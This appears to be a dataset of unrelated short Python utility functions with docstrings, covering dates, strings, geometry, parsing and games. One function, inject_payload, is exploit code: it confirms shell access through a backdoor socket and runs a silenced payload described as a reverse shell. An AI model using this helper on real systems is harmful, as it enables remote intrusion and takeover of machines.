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def get_datetime(cube): """Extract the time coordinate from a cube in datetime format """ tcoord = cube.coord('time') tcoord_as_datetime = tcoord.units.num2date(tcoord.points) return tcoord_as_datetime
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def secure_lookup(data, key1, key2 = None): """ Return data[key1][key2] while dealing with data being None or key1 or key2 not existing """ if not data: return None if key1 in data: if not key2: return data[key1] if key2 in data[key1]: return data[key1][key2] return None
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import re def pint2cfunits(value): """Return a CF-Convention unit string from a `pint` unit. Parameters ---------- value : pint.Unit Input unit. Returns ------- out : str Units following CF-Convention. """ # Print units using abbreviations (millimeter -> mm) s = "{:~}".format(value) # Search and replace patterns pat = r"(?P<inverse>/ )?(?P<unit>\w+)(?: \*\* (?P<pow>\d))?" def repl(m): i, u, p = m.groups() p = p or (1 if i else "") neg = "-" if i else ("^" if p else "") return "{}{}{}".format(u, neg, p) out, n = re.subn(pat, repl, s) return out
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def _get_outcome(guess: str, solution: str) -> str: """Get outcome string for the given guess / solution combination Args: guess: the word guessed solution: puzzle solution Returns: 5-character string of: '0' = letter not present '1' = letter present but not in correct position '2' = letter present and in correct position """ # We use lists to have mutable objects to work with outcome = list("-----") guess_list = list(guess) solution_list = list(solution) # Get 0 and 2 first - this manages multiple occurrences of the same letter # whereby a letter in the correct position should take precedence # over one not in the correct position for position in range(5): # Letter not present = 0 if guess_list[position] not in solution_list: outcome[position] = "0" guess_list[position] = "-" # Letter in correct position = 2 elif guess_list[position] == solution_list[position]: outcome[position] = "2" solution_list[position] = "-" guess_list[position] = "-" # Now mop up remaining letters for position in range(5): if guess_list[position] != "-": if guess_list[position] not in solution_list: outcome[position] = "0" else: outcome[position] = "1" solution_list[solution_list.index(guess_list[position])] = "-" return "".join(outcome)
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def generate_save_string(dataset, embedding_name, random_state=-1, sample=-1.0): """ To allow for multiple datasets to exist at once, we add this string to identify which dataset a run script should load. Arguments: dataset (str) : name of dataset embedding_name (str) : name of pre-trained embedding to use (possible names can be found in possible_embeddings) random_state (int) : random state used to split data into train, dev, test (if applicable) sample (float) : percentage of possible data used for training """ return "_".join([dataset, embedding_name, str(random_state), str(sample)])
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def getDiffElements(initialList: list, newList: list) -> list: """Returns the elements that differ in the two given lists Args: initialList (list): The first list newList (list): The second list Returns: list: The list of element differing between the two given lists """ final = [] for element in newList: if element not in initialList: final.append(element) return final
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def limit_stop_loss(entry_price: float, stop_price: float, trade_type: str, max_allowed_risk_percentage: int) -> float: """ Limits the stop-loss price according to the max allowed risk percentage. (How many percent you're OK with the price going against your position) :param entry_price: :param stop_price: :param trade_type: :param max_allowed_risk_percentage: :return: float """ risk = abs(entry_price - stop_price) max_allowed_risk = entry_price * (max_allowed_risk_percentage / 100) risk = min(risk, max_allowed_risk) return (entry_price - risk) if trade_type == 'long' else (entry_price + risk)
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def nearest_x(num, x): """ Returns the number rounded down to the nearest 'x'. example: nearest_x(25, 20) returns 20. """ for i in range(x): if not (num - i) % x: return num - i
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def safe_join_existing_lab(lab_id, client): """ gets a lab by its ID only if it exists on the server """ if lab_id in client.get_lab_list(): return client.join_existing_lab(lab_id) return None
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def pytest_report_collectionfinish(config, items): """Log how many and, if verbose, which items are tested in this shard.""" msg = "Running {num} items in this shard".format(num=len(items)) if config.option.verbose > 0: msg += ": " + ", ".join([item.nodeid for item in items]) return msg
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def extract_gist_id(gist_string): """Extract the gist ID from a url. Will also work if simply passed an ID. Args: gist_string (str): Gist URL. Returns: string: The gist ID. Examples: gist_string : Gist url 'https://gist.github.com/{user}/{id}'. """ return gist_string.split("/")[-1]
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from datetime import datetime def get_timestamp(detailed=False): """ get_timestamp - returns a timestamp in string format detailed : bool, optional, default False, if True, returns a timestamp with seconds """ if detailed: return datetime.now().strftime("%Y-%m-%d_%H-%M-%S") else: return datetime.now().strftime("%b-%d-%Y")
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import string import random def get_rand_string(size=6, chars=string.ascii_uppercase + string.digits): """generates a random string. :param size: length of the string :param chars: string of charaters to chese form, by default a-zA-Z0-9 """ return ''.join(random.choice(chars) for _ in range(size))
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def flip(board): """Returns horizontal mirror image of board with inverted colors.""" flipped_board = dict() for square, piece in board.items(): flipped_board[(7 - square[0], square[1])] = piece.swapcase() return flipped_board
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import json def cat_to_name(file): """ Loads a json file with mapping from category to flower name Parameters: file: name of .json mapping file Returns: a python dictionary with mapping of categories to flower names """ with open(file, 'r') as f: cat_to_name = json.load(f) return cat_to_name
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def list_to_string(lst): """ convert a list to string format for config files """ return ",".join(map(str, lst))
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def get_secs(t_string): """ From time_string like '00:00:35.660' returns the number of seconds respect to '00:00:00.000' returned value is float """ hours = t_string[0:2] minutes = t_string[3:5] secs = t_string[6:8] m_secs = t_string[8:12] secs_total = int(hours) * 3600 + int(minutes) * 60 + int(secs) + float(m_secs) # print(hours,",", minutes,",", secs ,",", m_secs) # print (secs_total) return secs_total
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def confirm(msg=None): """ Confirms the removal of the file with a yes or no input """ # Loop "forever" intended while True: confirm_input = input(msg if msg is not None else "Purge this directory (yes/no)?") if confirm_input.lower() in ["y", "yes"]: return True if confirm_input.lower() in ["n", "no"]: return False print("{} is invalid. Please use 'yes' or 'no'".format(confirm_input))
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def is_kevinshome(ctx): """check to see if invoking user is kevinshome""" return ctx.author.id == 416752352977092611
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def mosaic_to_horizontal(ModelParameters, forecast_period: int = 0): """Take a mosaic template and pull a single forecast step as a horizontal model. Args: ModelParameters (dict): the json.loads() of the ModelParameters of a mosaic ensemble template forecast_period (int): when to choose the model, starting with 0 where 0 would be the first forecast datestamp, 1 would be the second, and so on must be less than forecast_length that the model was trained on. Returs: ModelParameters (dict) """ if str(ModelParameters['model_name']).lower() != "mosaic": raise ValueError("Input parameters are not recognized as a mosaic ensemble.") all_models = ModelParameters['series'] result = {k: v[str(forecast_period)] for k, v in all_models.items()} model_result = { k: v for k, v in ModelParameters['models'].items() if k in result.values() } return { 'model_name': "horizontal", 'model_count': len(model_result), "model_metric": "mosaic_conversion", 'models': model_result, 'series': result, }
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def add_log_level(logger, method_name, event_dict): """ Add the log level to the event dict. """ if method_name == "warn": # The stdlib has an alias method_name = "warning" event_dict["level"] = method_name return event_dict
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def _is_python_file(filename): """Check if the input file looks like a Python script Returns True if the filename ends in ".py" or if the first line contains "python" and "#!", returns False otherwise. """ if filename.endswith('.py'): return True with open(filename, 'r') as file_handle: first_line = file_handle.readline() return 'python' in first_line and '#!' in first_line
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def RANGE(start, end, step=None): """ Generates the sequence from the specified starting number by successively incrementing the starting number by the specified step value up to but not including the end point. See https://docs.mongodb.com/manual/reference/operator/aggregation/range/ for more details :param start: An integer (or valid expression) that specifies the start of the sequence. :param end: An integer (or valid expression) that specifies the exclusive upper limit of the sequence. :param step: An integer (or valid expression) that specifies the increment value. :return: Aggregation operator """ return {'$range': [start, end, step]} if step is not None else {'$range': [start, end]}
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import six def _unicode_to_str(data): """ Utility function to make json encoded data an ascii string Original taken from: http://stackoverflow.com/questions/956867/how-to-get-string-objects-instead-of-unicode-ones-from-json-in-python :param data: either a dict, list or unicode string :return: ascii data """ if isinstance(data, dict): return {_unicode_to_str(key): _unicode_to_str(value) for key, value in six.iteritems(data)} elif isinstance(data, list): return [_unicode_to_str(element) for element in data] elif isinstance(data, six.text_type): return data.encode('utf-8') else: return data
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import re def _line_type(line, delimiter=None): """Interpret a QDP file line Parameters ---------- line : str a single line of the file Returns ------- type : str Line type: "comment", "command", or "data" Examples -------- >>> _line_type("READ SERR 3") 'command' >>> _line_type(" \\n !some gibberish") 'comment' >>> _line_type(" ") 'comment' >>> _line_type(" 21345.45") 'data,1' >>> _line_type(" 21345.45 1.53e-3 1e-3 .04 NO nan") 'data,6' >>> _line_type(" 21345.45,1.53e-3,1e-3,.04,NO,nan", delimiter=',') 'data,6' >>> _line_type(" 21345.45 ! a comment to disturb") 'data,1' >>> _line_type("NO NO NO NO NO") 'new' >>> _line_type("NO,NO,NO,NO,NO", delimiter=',') 'new' >>> _line_type("N O N NOON OON O") Traceback (most recent call last): ... ValueError: Unrecognized QDP line... >>> _line_type(" some non-comment gibberish") Traceback (most recent call last): ... ValueError: Unrecognized QDP line... """ _decimal_re = r'[+-]?(\d+(\.\d*)?|\.\d+)([eE][+-]?\d+)?' _command_re = r'READ [TS]ERR(\s+[0-9]+)+' sep = delimiter if delimiter is None: sep = r'\s+' _new_re = rf'NO({sep}NO)+' _data_re = rf'({_decimal_re}|NO|[-+]?nan)({sep}({_decimal_re}|NO|[-+]?nan))*)' _type_re = rf'^\s*((?P<command>{_command_re})|(?P<new>{_new_re})|(?P<data>{_data_re})?\s*(\!(?P<comment>.*))?\s*$' _line_type_re = re.compile(_type_re) line = line.strip() if not line: return 'comment' match = _line_type_re.match(line) if match is None: raise ValueError(f'Unrecognized QDP line: {line}') for type_, val in match.groupdict().items(): if val is None: continue if type_ == 'data': return f'data,{len(val.split(sep=delimiter))}' else: return type_
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def get_intermediate_objective_suffix(suffix=""): """ Returns dictionary of dictionaries of suffixes to intermediate files. Dict contains: objective - initial(s) of corresponding objective(s) filesuffix - intermediate file/variable suffix Args (optional) : suffix - appends the user defined suffix to the one used by the intermediate file """ intsuffix = [tuple(["comb_weight_R", "EPN", "cwgt_r"]), tuple(["comb_weight_Exp", "EPN", "cwgt_e"]), tuple(["index_exp", "EPN", "ind_e"]), tuple(["index_ret", "EPN", "ind_r"]), tuple(["ups_flowacc", "EPNFG", "flowacc"]), tuple(["dret_flowlen", "EPNFG", "flowlen"]), tuple(["index_cover", "FG", "ind_c"]), tuple(["index_rough", "FG", "ind_r"]), tuple(["comb_weight_ret", "FG", "cwgt_r"]), tuple(["comb_weight_source", "FG", "cwgt_s"]), tuple(["rainfall_depth_index", "F", "rain_idx"]), tuple(["precip_annual_index", "G", "prec_idx"]), tuple(["aet_index", "G", "aet_idx"])] inter = dict() for sfx in intsuffix: filesuffix = '_'.join([sfx[2], suffix]).rstrip('_') + '.tif' inter[sfx[0]] = {'objective': sfx[1], 'filesuffix': filesuffix} return inter
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def ms_timestamp_to_epoch_timestamp(ts: int) -> int: """ Converts a milliseconds timestamp to an epoch timestamp :param ts: timestamp in miliseconds :return: epoch timestamp in seconds """ return int(ts / 1000)
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def intersection_line_plane(p0, p1, p_co, p_no, epsilon=1e-9): """ Copied from https://stackoverflow.com/questions/5666222/3d-line-plane-intersection p0, p1: Define the line. p_co, p_no: define the plane: p_co Is a point on the plane (plane coordinate). p_no Is a normal vector defining the plane direction; (does not need to be normalized). Return a Vector or None (when the intersection can't be found). """ def add_v3v3(v0, v1): return (v0[0] + v1[0], v0[1] + v1[1], v0[2] + v1[2]) def sub_v3v3(v0, v1): return (v0[0] - v1[0], v0[1] - v1[1], v0[2] - v1[2]) def dot_v3v3(v0, v1): return ((v0[0] * v1[0]) + (v0[1] * v1[1]) + (v0[2] * v1[2])) def len_squared_v3(v0): return dot_v3v3(v0, v0) def mul_v3_fl(v0, f): return (v0[0] * f, v0[1] * f, v0[2] * f) u = sub_v3v3(p1, p0) dot = dot_v3v3(p_no, u) if abs(dot) > epsilon: # The factor of the point between p0 -> p1 (0 - 1) # if 'fac' is between (0 - 1) the point intersects with the segment. # Otherwise: # < 0.0: behind p0. # > 1.0: infront of p1. w = sub_v3v3(p0, p_co) fac = -dot_v3v3(p_no, w) / dot u = mul_v3_fl(u, fac) return add_v3v3(p0, u) else: # The segment is parallel to plane. return None
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def _convert_to_barycentric(point, simplex, coordinates): """ Converts the coordinates of a point into barycentric coordinates given a simplex. Given a 2D point inside a simplex (a line segment or a triangle), find out its barycentric coordinates. In the case of the line (1-simplex), this would be the point expressed as a linear combination of the two endpoints. In the case of the triangle (2-simplex), this would be the point expressed as a linear combination of three corner coordinates. This method will not work when finding barycentric coordinates of points within a triangle or line segment in R^3. It is only meant for finding barycentric coordinates of 2D points within 2D line segments or triangles. Parameters ---------- point: list of floats, length 2 The 2D coordinates of the flattened vertex. The z-component should be 0. simplex: list of ints, length 2 or 3 The indices corresponding to coordinates making up the line segment/triangle. coordinates: list of pairs of floats The 2D coordinate system in which the point and simplex lie. Returns ------- list of floats, length 2 or 3 The lambda values (i.e. the weights used in the linear combination) corresponding to the barycentric coordinates of the point in the simplex. Length depends on the type of simplex - 2 if a line, 3 if a triangle. If all values are between 0 and 1, the point is in the simplex. """ if not len(point) == len(coordinates[0]) == 2: raise Exception("_convert_to_barycentric: Invalid coordinate dimensions. " \ "This method only accepts coordinates in 2D.") #initialise result result = [] #if the simplex is a triangle, calculate the barycentric coordinates of the #point in the triangle if len(simplex) == 3: #get coordinates from vertices of simplex triangle_coordinates = [coordinates[i] for i in simplex] (x_0, y_0), (x_1, y_1), (x_2, y_2) = triangle_coordinates #find each of the three weights lambda_0 = ((y_1-y_2)*(point[0]-x_2)+(x_2-x_1)*(point[1]-y_2)) / \ ((y_1-y_2)*(x_0-x_2)+(x_2-x_1)*(y_0-y_2)) lambda_1 = ((y_2-y_0)*(point[0]-x_2)+(x_0-x_2)*(point[1]-y_2)) / \ ((y_1-y_2)*(x_0-x_2)+(x_2-x_1)*(y_0-y_2)) lambda_2 = 1 - lambda_0 - lambda_1 result = [lambda_0, lambda_1, lambda_2] #if the simplex is a line segment, find the proportions of each point in the line segment elif len(simplex) == 2: #since it's linear interpolation, the proportions are the same for both #x and y components, so we just use one of them x_0, x_1 = coordinates[simplex[0]][0], coordinates[simplex[1]][0] #find the two weights lambda_1 = (point[0] - x_0) / (x_1 - x_0) lambda_0 = 1 - lambda_1 result = [lambda_0, lambda_1] else: raise Exception("_convert_to_barycentric: Invalid input simplex. " \ "This method is only defined for triangles and edges") return result
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from typing import Counter def is_anagram(word, _list): """ Checks if the given word has its anagram(s) on the given list of words. :param word: word :param _list: list of words :return a list of found anagrams """ word = word.lower() anagrams = [] for words in _list: if word != words.lower(): if Counter(word) == Counter(words.lower()): anagrams.append(words) return anagrams
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def diagonal (line): """Indicates whether or not `line` is diagonal.""" return (line.p.x != line.q.x) and (line.p.y != line.q.y)
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def cleave(sequence, index): """ Cleaves a sequence in two, returning a pair of items before the index and items at and after the index. """ return sequence[:index], sequence[index:]
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def age_to_eye_diameter(age): """Calulates the size of an eye given an age Args: age (float): age of the observer Returns: D_eye (float): Best diameter of Eyepiece (mm) """ if age <= 20: D_eye = 7.5 elif ((age> 20) and (age<= 30)): D_eye = 7 elif ((age> 30) and (age<= 35)): D_eye = 6.5 elif ((age> 35) and (age<= 45)): D_eye = 6 elif ((age> 45) and (age<= 60)): D_eye = 5.5 else: D_eye = 5.0 return D_eye
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def transform_zip(number): """Get rid of extended format ZIP code.""" zip_code = number.split("-")[0] return zip_code
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def flatten_list(list_): """ Flattens out nested lists and tuples (tuples are converted to lists for this purpose). Example: In [1]: flatten_list([1, [[2, 3], [4, 5]], 6]) Out[1]: [1, 2, 3, 4, 5, 6] """ items = [] for element in list_: if isinstance(element, (list, tuple)): items.extend(flatten_list(list(element))) else: items.append(element) return items
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def jetCollectionString(prefix='', algo='', type=''): """ ------------------------------------------------------------------ return the string of the jet collection module depending on the input vaules. The default return value will be 'patAK5CaloJets'. algo : indicating the algorithm type of the jet [expected are 'AK5', 'IC5', 'SC7', ...] type : indicating the type of constituents of the jet [expec- ted are 'Calo', 'PFlow', 'JPT', ...] prefix : prefix indicating the type of pat collection module (ex- pected are '', 'selected', 'clean'). ------------------------------------------------------------------ """ if(prefix==''): jetCollectionString ='pat' else: jetCollectionString =prefix jetCollectionString+='Pat' jetCollectionString+='Jets' jetCollectionString+=algo jetCollectionString+=type return jetCollectionString
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import re def sanitize_tag_label(label_string): """Return string slugified, uppercased and without dashes.""" return re.sub(r'[-\s]+', '-', (re.sub(r'[^\w\s]', '',label_string).strip().upper()))
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def strip_extension(input_string: str, max_splits: int) -> str: """Strip the extension from a string, returning the file name""" output = input_string.rsplit(".", max_splits)[0] return output
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import re def header(line): """ add '>' if the symbol is missing at the end of line """ line=line.strip() if re.match("##.*<.*", line) and line[-1:] != '>': line=line+'>' return line
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def normalize_expasy_id(expasy_id: str) -> str: """Return a standardized ExPASy identifier string. :param expasy_id: A possibly non-normalized ExPASy identifier """ return expasy_id.replace(" ", "")
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def get_excel_column_index(column: str) -> int: """ This function converts an excel column to its respective column index as used by pyexcel package. viz. 'A' to 0 'AZ' to 51 :param column: :return: column index of type int """ index = 0 column = column.upper() column = column[::-1] for i in range(len(column)): index += ((ord(column[i]) % 65 + 1)*(26**i)) return index-1
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def shift_conv(matchobj): """ Transform '(a<b)' into 'a * 2**b'. """ shift = 1 << int(matchobj.group(2)) formula = '{}*{}'.format(matchobj.group(1), shift) return formula
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def convert_db_dict_into_list(db_dict): """Convert dictionary of processes into list of processes.""" db_list = [] for key in db_dict.keys(): assert key == db_dict[key]["@id"] db_list.append(db_dict[key]) return db_list
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def taskname(*items): """A task name consisting of items.""" s = '_'.join('{}' for _ in items) return s.format(*items)
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import re def find_serial_number(show_ver): """ Find the serial number in show version output. Example: Processor board ID FTX1512038X """ match = re.search(r"Processor board ID (.*)", show_ver) if match: return match.group(1) return ''
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from typing import Tuple def intersect(input_blocks: Tuple[int, int]) -> int: """Intersect tuple of input blocks to return air or stone Arguments: input_blocks {Tuple[int, int]} -- Two input blocks Returns: int -- Intersected block """ if input_blocks[0] == 0 or input_blocks[1] == 0: return 0 return 4
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import struct def decode_string(binary_input): """Decode a binary uon string. Length of the string is encoded on the two first bytes, the string value is utf-8 encoded on the rest. Args: binary_input (bytes): a binary uon string Returns: tuple: uon string with the decoded value, and the rest of the binary """ length_encoded = binary_input[0:2] length = struct.unpack("<H", length_encoded)[0] end_string_offset = length + 2 encoded_value = binary_input[2:end_string_offset] rest = binary_input[end_string_offset:] unpack_format = f"{length}s" value = struct.unpack(unpack_format, encoded_value)[0] return value.decode("utf-8"), rest
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def get_single_key_value_pair(d): """ Get the key and value of a length one dictionary. Parameters ---------- d : dict Single element dictionary to split into key and value. Returns ------- tuple of length 2, containing the key and value Examples -------- >>> d = dict(key='value') >>> get_single_key_value_pair(d) ('key', 'value') """ assert isinstance(d, dict), f'{d}' assert len(d) == 1, f'{d}' return list(d.items())[0]
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def _fconvert(value): """ Convert one tile from a number to a pentomino character """ return {523: 'U', 39: 'N', 15: 'F', 135: 'W', 23: 'P', 267: 'L', 139: 'Z', 77: 'T', 85: 'Y', 43: 'V', 33033: 'I', 29: 'X'}[value]
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def load_story_ids(filename): """ Load a file and read it line-by-line Parameters: ----------- filename: string path to the file to load Returns: -------- raw: list of sentences """ f = open(filename, "r") story_ids = [line[:-1] for line in f] f.close() return story_ids
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import six def make_model_tuple(model): """ Takes a model or a string of the form "app_label.ModelName" and returns a corresponding ("app_label", "modelname") tuple. If a tuple is passed in, it's assumed to be a valid model tuple already and returned unchanged. """ if isinstance(model, tuple): model_tuple = model elif isinstance(model, six.string_types): app_label, model_name = model.split(".") model_tuple = app_label, model_name.lower() else: model_tuple = model._meta.app_label, model._meta.model_name assert len(model_tuple) == 2, "Invalid model representation: %s" % model return model_tuple
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import re def format_label_name(name): """ Format string label name to remove negative label if it is EverythingElse """ m = re.match("\[([A-Za-z0-9]+)\]Vs\[EverythingElse\]", name) if m is None: return name else: return m.group(1)
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def readFile(fileName): """Read a file, returning its contents as a single string. Args: fileName (str): The name of the file to be read. Returns: str: The contents of the file. """ fileContents = "" with open(fileName) as inputFile: fileContents = inputFile.read() return fileContents
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def regenerate_node(arbor, node): """ Regenerate the TreeNode using the provided arbor. This is to be used when the original arbor associated with the TreeNode no longer exists. """ if node.is_root: return arbor[node._arbor_index] root_node = node.root return root_node.get_node("forest", node.tree_id)
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import torch def label2one_hot_torch(labels, C=14): """ Converts an integer label torch.autograd.Variable to a one-hot Variable. Args: labels(tensor) : segmentation label C (integer) : number of classes in labels Returns: target (tensor) : one-hot vector of the input label Shape: labels: (B, 1, H, W) target: (B, N, H, W) """ b,_, h, w = labels.shape one_hot = torch.zeros(b, C, h, w, dtype=torch.long).to(labels) target = one_hot.scatter_(1, labels.type(torch.long).data, 1) #require long type return target.type(torch.float32)
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def get_shape_columns(shape): """Return the number of columns for the shape.""" try: return shape[1] except (IndexError, TypeError): return 0
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def formacion(soup, home_or_away): """ Given a ficha soup, it will return either the formacion table of the home team, or the away one. Args: soup (BeautifulSoup): Soup of the current match home_or_away (int): Either a 1(home team) or 0(away team) """ return soup.find('table', attrs={ 'id': f'formacion{home_or_away}' })
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def _2D_ticks(x_num_ticks, y_num_ticks, env_config, type_): """ Generates the tick labels for the heatmap on a 2D-state environment Parameters ---------- num_ticks : int The total number of ticks along the axis env_config : dict The environment configuration file as a dict type_ : str The type of plot to get the ticks of the heatmap for, one of 'state', 'action' Returns ------- 2-tuple of func The function to generate the x tick labels and the function to generate the y tick labels """ if type_ == "state": ymin, xmin = env_config["state_low"] ymax, xmax = env_config["state_high"] else: ymin, xmin = 0.0, env_config["action_low"][0] ymax, xmax = 0.0, env_config["action_high"][0] def xtick(x, pos): if pos == 0: return "{:.2f}".format(xmin) elif pos == x_num_ticks - 1: return "{:.2f}".format(xmax) elif pos == x_num_ticks - (x_num_ticks // 2): return "{:.1f}".format((xmax + xmin) / 2) else: return "" def ytick(x, pos): if pos == 0: return "{:.2f}".format(ymin) elif pos == y_num_ticks - 1: return "{:.2f}".format(ymax) elif pos == y_num_ticks - (y_num_ticks // 2): return "{:.1f}".format((ymax + ymin) / 2) else: return "" return xtick, ytick
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def _splitDate(nymd): """ Split nymd into year, month, date tuple. """ nymd = int(nymd) yy = nymd/10000 mm = (nymd - yy*10000)/100 dd = nymd - (10000*yy + 100*mm ) return (yy,mm,dd)
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def get_values_greater_than(values, A): # O(N) """ From a ascendingly sorted array of values, get values > A >>> get_values_greater_than([1, 4, 9, 16, 25, 36, 49, 64, 81, 100, 121], 64) [121, 100, 81, 64] >>> get_values_greater_than([1], 1) [1] """ num_values = len(values) # O(1) array = [] # O(1) for i in range(num_values - 1, -1, -1): # O(N) value = values[i] # O(1) if value >= A: # O(1) array.append(value) # O(1) else: # O(1) return array # O(1) return array # O(1)
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def by_command(extractor, prefix=('/',), separator=' ', pass_args=False): """ :param extractor: a function that takes one argument (the message) and returns a portion of message to be interpreted. To extract the text of a chat message, use ``lambda msg: msg['text']``. :param prefix: a list of special characters expected to indicate the head of a command. :param separator: a command may be followed by arguments separated by ``separator``. :type pass_args: bool :param pass_args: If ``True``, arguments following a command will be passed to the handler function. :return: a key function that interprets a specific part of a message and returns the embedded command, optionally followed by arguments. If the text is not preceded by any of the specified ``prefix``, it returns a 1-tuple ``(None,)`` as the key. This is to distinguish with the special ``None`` key in routing table. """ if not isinstance(prefix, (tuple, list)): prefix = (prefix,) def f(msg): text = extractor(msg) for px in prefix: if text.startswith(px): chunks = text[len(px):].split(separator) return chunks[0], (chunks[1:],) if pass_args else () return (None,), # to distinguish with `None` return f
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def get_filename_from_path(file_path, delimiter="/"): """ Get filename from file path (filename.txt -> filename) """ filename = file_path.split(delimiter)[-1] return filename.split(".")[0]
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import time def loop(tasks=1, breaks=0, *args, **kwargs): """ Loop a function X amount of times :param tasks: Amount of times to loop the function :param breaks: The amount of time to wait between each loop. """ def wrapper(original_func, *args, **kwargs): for i in range(tasks): original_func(*args, **kwargs) time.sleep(breaks) return wrapper
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def add(first, second): """Return the sum of the two numbers.""" return first + second
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import socket import re def inject_payload(conn: socket.socket, payload) -> bool: """ Inject a payload into the backdoor connection. :param conn: socket object connected to backdoor :param payload: payload to inject (usually a reverse shell) :return: boolean indicating success or failure """ print('Injecting payload via backdoor.') # verify that we have a shell and grab the user ID sent_bytes = conn.send('id\n'.encode()) response = conn.recv(1024) uid_data = response.decode().strip() if re.search(r'^uid=', uid_data): uid = uid_data.split('(')[1].split(')')[0] print('Got shell as user {}!'.format(uid)) # send a simple reverse shell from the exploited server to the attacking host print('Injecting and running payload.') sent_bytes = conn.send('nohup {} >/dev/null 2>&1\n'.format(payload).encode()) return True else: print(uid_data) return False
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def doublecomplement(i,j): """ returns the two element of (1,2,3,4) not in the input """ list=[1,2,3,4] list.remove(i) list.remove(j) return list
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def yr_label(yr_range): """Create label of start and end years for aospy data I/O.""" assert yr_range is not None, "yr_range is None" if yr_range[0] == yr_range[1]: return '{:04d}'.format(yr_range[0]) else: return '{:04d}-{:04d}'.format(*yr_range)
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def setup_with_context_manager(testcase, cm): """Use a contextmanager to setUp a test case. If you have a context manager you like:: with ctxmgr(a, b, c) as v: # do something with v and you want to have that effect for a test case, call this function from your setUp, and it will start the context manager for your test, and end it when the test is done:: def setUp(self): self.v = setup_with_context_manager(self, ctxmgr(a, b, c)) def test_foo(self): # do something with self.v """ val = cm.__enter__() testcase.addCleanup(cm.__exit__, None, None, None) return val
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from typing import Tuple def hosting_period_get(month: int) -> Tuple[int, int]: """Determine the Hosting period for the current month.""" # In February only, Hosts begin on the 1st and 15th if month == 2: return (1, 15) # For all other months, Hosts begin on the 1st and 16th return (1, 16)
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def exclude_sims_by_regex(sims, regex): """Removes sims by using a regular expression. DESCRIPTION: Returns all sims that do NOT match the regular expression. ARGS: sims (iterable of strings): An iterable of strings contating candidate sim files regex (_sre.SRE_Pattern): The regular expression to use. This should be compiled e.g., re.compile(r'.+sim') which will find all sim files. RETURNS: A list of strings that do not match the regular expression. """ output = [] for sim in sims: if not regex.search(sim): output.append(sim) return output
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import pytz def http_date(dt): """ Convert datetime object into http date according to RFC 1123. :param datetime dt: datetime object to convert :return: dt as a string according to RFC 1123 format :rtype: str """ return dt.astimezone(pytz.utc).strftime('%a, %d %b %Y %H:%M:%S GMT')
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def build_telegram(name: str, message: str, title="Dr") -> str: """Generate a properly formatted telegram message body. Args: name: The recipient of this telegram message: The message to send this user title: The recipient's title Returns: A properly formatted string for a telegram message """ STOP = " -STOP- " punctuation = [".", ",", "!"] for symbol in punctuation: message = message.replace(symbol, STOP) greeting = f"ATTN {title} {name}{STOP} " telegram = f"{greeting}{message}".upper() return telegram
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def train2rect(ratios, imagew, imageh): """ Takes in data used during training and transforms it into format matching the format outputted by darknet's valid function. """ xratio, yratio, wratio, hratio = ratios xmin = xratio*imagew - wratio*imagew/2 ymin = yratio*imageh - hratio*imageh/2 xmax = xratio*imagew + wratio*imagew/2 ymax = yratio*imageh + hratio*imageh/2 return (xmin, ymin, xmax, ymax)
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def is_key_complete(key): """Returns true if the key is complete. Complete keys are marked with a blank symbol at the end of the string. A complete key corresponds to a full word, incomplete keys cannot be mapped to word IDs. Args: key (string): The key Returns: bool. Return true if the last character in ``key`` is blank. """ return key and key[-1] == ' '
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def acknowledgements(name, tag): """Returns acknowledgements for space weather dataset Parameters ---------- name : string Name of space weather index, eg, dst, f107, kp tag : string Tag of the space waether index """ swpc = ''.join(['Prepared by the U.S. Dept. of Commerce, NOAA, Space ', 'Weather Prediction Center']) ackn = {'kp': {'': 'Provided by GFZ German Research Centre for Geosciences', 'forecast': swpc, 'recent': swpc}} return ackn[name][tag]
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def rectangleOverlap(BLx1, BLy1, TRx1, TRy1, BLx2, BLy2, TRx2, TRy2): """ returns true if two rectangles overlap BL: Bottom left TR: top right "1" rectangle 1 "2" rectangle 2 """ return not (TRx1 < BLx2 or BLx1 > TRx2 or TRy1 < BLy2 or BLy1> TRy2)
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from typing import Tuple def _identify_missing_columns( schema_field_names: Tuple[str, ...], column_names: Tuple[str, ...], ) -> Tuple[bool, ...]: """Returns boolean mask of schema field names not in column names.""" return tuple(field_name not in column_names for field_name in schema_field_names)
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import re def get_patient_uuid(element): """ Extracts the UUID of a patient from an entry's "content" node. >>> element = etree.XML('''<entry> ... <content type="application/vnd.atomfeed+xml"> ... <![CDATA[/openmrs/ws/rest/v1/patient/e8aa08f6-86cd-42f9-8924-1b3ea021aeb4?v=full]]> ... </content> ... </entry>''') >>> get_patient_uuid(element) 'e8aa08f6-86cd-42f9-8924-1b3ea021aeb4' """ # "./*[local-name()='content']" ignores namespaces and matches all # child nodes with tag name "content". This lets us traverse the # feed regardless of whether the Atom namespace is explicitly given. content = element.xpath("./*[local-name()='content']") pattern = re.compile(r'/patient/([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})\b') if content and len(content) == 1: cdata = content[0].text matches = pattern.search(cdata) if matches: return matches.group(1) raise ValueError('Patient UUID not found')
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from typing import List def csv_to_ints(school_description: str) -> List[int]: """Convert a comma separated string of integers to a list of integers. Returns ------- list[int] The list of integers from the string of comma separated values. >>> csv_to_ints('3,8,0') [3, 8, 0] """ return [int(integer) for integer in school_description.strip().split(',')]
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def event_counter(json_, counter): """ takes a json and counts the number of events that happened during that game inputs ------ json__: events json counter: counter dictionary returns ----- counter: counter dict with counts """ for event in json_: event_type = event['type']['name'] counter[event_type] +=1 return counter
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import hashlib import base64 def calc_md5(string): """Generates base64-encoded MD5 hash of `string`.""" md5_hash = hashlib.md5() md5_hash.update(string) return base64.b64encode(md5_hash.digest()).strip(b"\n")
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def get_content(file): """Returns a string If file 'bruh' contains "Hellor" get_content("bruh") returns 'Hellor' """ file = open(file, "r") res = file.read() file.close() return res
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def convert_to_float(frac_str): """ convert string of fraction (1/3) to float (0.3333) Parameters ---------- frac_str: string, string to be transloated into Returns ------- float value corresponding to the string of fraction """ try: return float(frac_str) except ValueError: num, denom = frac_str.split('/') try: leading, num = num.split(' ') whole = float(leading) except ValueError: whole = 0 frac = float(num) / float(denom) return whole - frac if whole < 0 else whole + frac
